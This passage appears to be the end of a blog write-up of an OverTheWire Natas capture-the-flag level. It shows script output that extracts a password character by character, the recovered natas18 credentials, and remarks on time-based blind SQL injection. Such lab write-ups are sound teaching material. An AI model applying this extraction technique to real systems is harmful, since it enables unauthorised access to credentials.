Password: xvKIqDjy4O**********************
Password: xvKIqDjy4OP*********************
Password: xvKIqDjy4OPv********************
Password: xvKIqDjy4OPv7*******************
Password: xvKIqDjy4OPv7w******************
Password: xvKIqDjy4OPv7wC*****************
Password: xvKIqDjy4OPv7wCR****************
Password: xvKIqDjy4OPv7wCRg***************
Password: xvKIqDjy4OPv7wCRgD**************
Password: xvKIqDjy4OPv7wCRgDl*************
Password: xvKIqDjy4OPv7wCRgDlm************
Password: xvKIqDjy4OPv7wCRgDlmj***********
Password: xvKIqDjy4OPv7wCRgDlmj0**********
Password: xvKIqDjy4OPv7wCRgDlmj0p*********
Password: xvKIqDjy4OPv7wCRgDlmj0pF********
Password: xvKIqDjy4OPv7wCRgDlmj0pFs*******
Password: xvKIqDjy4OPv7wCRgDlmj0pFsC******
Password: xvKIqDjy4OPv7wCRgDlmj0pFsCs*****
Password: xvKIqDjy4OPv7wCRgDlmj0pFsCsD****
Password: xvKIqDjy4OPv7wCRgDlmj0pFsCsDj***
Password: xvKIqDjy4OPv7wCRgDlmj0pFsCsDjh**
Password: xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhd*
Password: xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
Done. Have fun!
It took almost 3 minutes to run the script, but in the end we got the password.

User natas18
Password xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP

This was pretty new, at least for me, never had to use a time-based blind SQL injection. Fun challenge overall. There are ways to make the script faster, like binary search and multithreading, but 3 minutes isn't that much, so I chose to keep it this way.

Never Settle,

<< Previous challenge